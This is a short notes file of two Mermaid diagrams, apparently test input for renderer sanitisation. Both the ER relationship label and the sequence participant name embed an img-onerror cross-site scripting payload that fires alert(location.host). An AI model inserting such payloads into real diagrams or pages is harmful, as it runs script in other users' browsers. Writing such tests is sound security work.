notes

erDiagram
  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"

sequenceDiagram
  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
  A->>B: hi